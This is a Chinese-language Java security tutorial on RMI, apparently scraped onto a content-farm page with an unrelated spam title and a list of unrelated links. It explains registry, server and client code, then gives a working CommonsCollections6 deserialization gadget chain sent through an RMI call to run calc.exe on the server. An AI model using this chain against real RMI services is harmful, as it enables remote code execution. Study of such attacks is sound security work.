当前位置: 首页 > news >正文

网站logo多大做暧暧暖网站

网站logo多大,做暧暧暖网站,WordPress查询登录记录,广告创意设计作品文章目录 【java安全】RMI前言RMI的组成RMI实现Server0x01 编写一个远程接口0x02 实现该远程接口0x03 Registry注册远程对象 Client 小疑问RMI攻击 【java安全】RMI 前言 RMI全称为#xff1a;Remote Method Invocation 远程方法调用#xff0c;是java独立的一种机制。 RM… 文章目录 【java安全】RMI前言RMI的组成RMI实现Server0x01 编写一个远程接口0x02 实现该远程接口0x03 Registry注册远程对象 Client 小疑问RMI攻击 【java安全】RMI 前言 RMI全称为Remote Method Invocation 远程方法调用是java独立的一种机制。 RMI的作用就是在一个java虚拟机调用另一个java虚拟机上对象的方法 在网络传输的过程中RMI中对象是通过序列化的形式进行编码传输既然有序列化必然会有反序列化RMI服务端在接收到序列化后的会将对象进行反序列化。 在反序列化攻击中我们可能找不到反序列化的点那么使用RMI就可以作为反序列化利用链的触发点 ***** RMI的组成 RMI主要分为三个部分 Client客户端客户端调用服务端的方法Server服务端远程调用方法对象的提供者是代码真正执行的地方执行结束会给客户端返回一个方法执行的结果Registry注册中心本质就是一个map像一个字典用于客户端查询服务端调用方法的引用 RMI调用的目的就是调用远程机器的类和调用一个写在本地的类一样 唯一区别就是RMI服务端提供的方法被调用时方法是执行在服务端 为了屏蔽网络通信的复杂性RMI 引入了两个概念分别是 Stubs客户端存根 以及 Skeletons服务端骨架当客户端Client试图调用一个在远端的 Object 时实际调用的是客户端本地的一个代理类Proxy这个代理类就称为 Stub而在调用远端Server的目标类之前也会经过一个对应的远端代理类就是 Skeleton它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。 RMI Register 像一个网关自己不会执行远程方法但是RMI Server可以在上面注册一个Name到对象的绑定关系RMI Client通过这个Name向RMI Registry查询获得绑定关系然后连接RMI Server。最后远程方法在RMI Server上调用 RMI实现 Server 一个RMIServer分为三个部分 一个继承了java.rmi.Remote的接口其中定义我们想要远程调用的函数比如这里的hello()一个实现了此接口的类此类实现了函数体并且继承UnicastRemoteObject类一个主类用来创建Registry并将上面的类实例化后绑定到一个地址。这就是所谓Server了 0x01 编写一个远程接口 public interface IRemoteHelloWorld extends Remote {public String hello() throws RemoteException; }这个接口需要使用public声明否则客户端尝试加载远程接口的对象会出错除非客户端、服务端放在一起继承 java.rmi.Remote接口接口的方法需要抛出RemoteException异常 0x02 实现该远程接口 public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{protected RemoteHelloWorld() throws RemoteException {}public String hello() throws RemoteException {System.out.println(hello~~~());return Hello,World!;} }该类实现远程接口继承UnicastRemoteObject类貌似继承了之后会使用默认socket进行通讯并且该实现类会一直运行在服务器上。如果不继承UnicastRemoteObject类则需要手工初始化远程对象在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。构造方法抛出RemoteException异常实现类中使用的对象必须都可序列化即都继承java.io.Serilizable 0x03 Registry注册远程对象 上面我们已经把远程调用的类创建好了接下来我们怎么创建并调用它呢 Java RMI 设计了一个 Registry 的思想很好理解我们可以使用注册表来查找一个远端对象的引用更通俗的来讲这个就是一个 RMI 电话本我们想在某个人那里获取信息时Remote Method Invocation我们在电话本上Registry通过这个人的名称 Name来找到这个人的电话号码Reference并通过这个号码找到这个人Remote Object。 这种思想是由java.rmi.registry.Registry和java.rmi.Nameing来实现的 先说java.rmi.Nameing 这是一个final类提供了在远程对象注册表中存储和获取远程对象引用的方法 这个类的每个方法中都有一个URL格式的参数格式为//host:port/ObjectName host表示注册表所在的主机port表示注册表接受调用的端口号默认1099name表示一个注册的Remote Object的引用名称 那么就好理解了我们实现了服务端待调用的对象现在我们需要利用Naming.rebind()函数将其注册到register中 步骤 利用LocateRegistry.createRegistry(1099);创建registry注册中心实例化远程对象将实例化对象绑定到registry注册中心 public class RemoteServer {public static void main(String[] args) throws RemoteException, MalformedURLException {// 创建注册中心指定1099端口LocateRegistry.createRegistry(1099);// 实例化远程对象RemoteHelloWorld remoteHelloWorld new RemoteHelloWorld();// 将远程对象绑定到注册中心此处Name为leekosNaming.rebind(rmi://localhost:1099/leekos, remoteHelloWorld); //注意字符串格式} }服务端我们已经搭建好了 Client 接下来我们需要搭建客户端来远程执行服务器上的对象方法。 步骤如下 使用Naming通过名字找到registry中绑定的对象调用对象的方法 这里我们使用Naming.lookup()方法寻找registry的对象 public class Client {public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {IRemoteHelloWorld iRemoteHelloWorld (IRemoteHelloWorld) Naming.lookup(rmi://localhost:1099/leekos);String hello iRemoteHelloWorld.hello();System.out.println(hello);} }小疑问 首先执行服务端 接着执行客户端 在客户端的控制台成功返回Hello,World! 此处我们发现了一个现象为什么对象方法输出的hello~~~()字符串在服务端输出呢 这刚好证明了RMI中远程方法是在服务端调用的并将方法执行结果返回给客户端 RMI攻击 既然我们可以远程调用服务器上的对象的方法并且RMI传递对象会进行序列化以及反序列化的过程。那么如果服务器上一个远程对象的方法形参中需要传递Object类型我们就可以传入构造好的利用链对象当反序列化时就会触发 此处使用java反序列化CommonsCollections6链子 服务端代码如上但是必须满足相关条件 使用具有漏洞的Commons-Collections3.1组件RMI提供的远程对象的方法形参中有Object类型这样才能实现反序列化链利用 客户端代码 public class Client {public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException, NoSuchFieldException, IllegalAccessException {IRemoteHelloWorld iRemoteHelloWorld (IRemoteHelloWorld) Naming.lookup(rmi://localhost:1099/leekos);Map map getPayload();iRemoteHelloWorld.doWork(map);}public static Map getPayload() throws IllegalAccessException, NoSuchFieldException {Transformer[] fakeTransformers new Transformer[]{};Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class,Class[].class}, new Object[]{getRuntime,new Class[0]}),new InvokerTransformer(invoke, new Class[]{Object.class,Object[].class}, new Object[]{null, newObject[0]}),new InvokerTransformer(exec, new Class[]{String.class},new String[]{calc.exe})};Transformer chainedTransformer new ChainedTransformer(fakeTransformers);Map uselessMap new HashMap();Map outerMap LazyMap.decorate(uselessMap, chainedTransformer);TiedMapEntry tiedMapEntry new TiedMapEntry(outerMap, leekos);Map hashMap new HashMap();/**此处使用put()触发了hash()方法从而未经readObject() RCE*我们需要先将ChainedTransformer值设置为假的fakeTransformers*/hashMap.put(tiedMapEntry, value);//清空由于 hashMap.put 对 LazyMap 造成的影响outerMap.clear();Field iTransformers ChainedTransformer.class.getDeclaredField(iTransformers);iTransformers.setAccessible(true);iTransformers.set(chainedTransformer, transformers);return hashMap;}}使用CommonsCollections6可以在高版本java中利用。当我们运行代码时弹出计算器
http://www.sadfv.cn/news/327453/

相关文章:

  • 建教会网站的内容网站管理员权限
  • 高性能网站建设指南pdfwordpress oa系统
  • 做网站用哪些语言服装商城的网站策划书
  • 网站营销策略哈尔滨seo优化专注
  • 无锡 网站 seo 优化无极网址
  • 高职院校高水平专业建设网站山东省建设项目监理协会网站
  • 搜索引擎网站排行榜积分商城系统
  • 北京个人制作网站免费网站开发模板
  • 河北 网站建设登陆网站空间
  • 百度怎么注册自己的网站江苏省通信建设交易中心网站
  • 长沙做彩票网站公司wordpress 加速会
  • 制作一个网站html5修改器下载
  • 济南网站备案流程泰安人才网58同城
  • 泉州做网站便宜成都广告公司网站建设
  • wordpress wow.js南昌网站优化方案
  • 伙购网官方网站微信公众号网站开发语言
  • 网站的meta标签优化项城市建设方案公示在哪个网站
  • 交易所网站建设做海报素材网站推荐
  • 云主机是不是可以搭建无数个网站湘潭网站公司
  • 建设社区网站有什么借鉴之处可做百度百科参考资料的网站
  • 网站开发用台式机电脑配置网站静态和伪静态意思
  • 网站设计师主要做什么的长春网站建设方案推广
  • 做流量网站江门专业网站建设公司
  • seo优化网站技术排名百度推广网站服务器和空间有什么区别
  • 自己做个网站好还是做别人会员好东莞全网合一网站
  • 静宁网站建设网站推广四个阶段
  • 网站制作怎样做背景网站建设开发公司
  • 在哪个网站做外快设计大连龙采做网站行不行
  • 寻花问柳专注做一家男人最爱的网站关于做旅游网站的参考文献
  • 网站栏目功能分析制作网页代码大全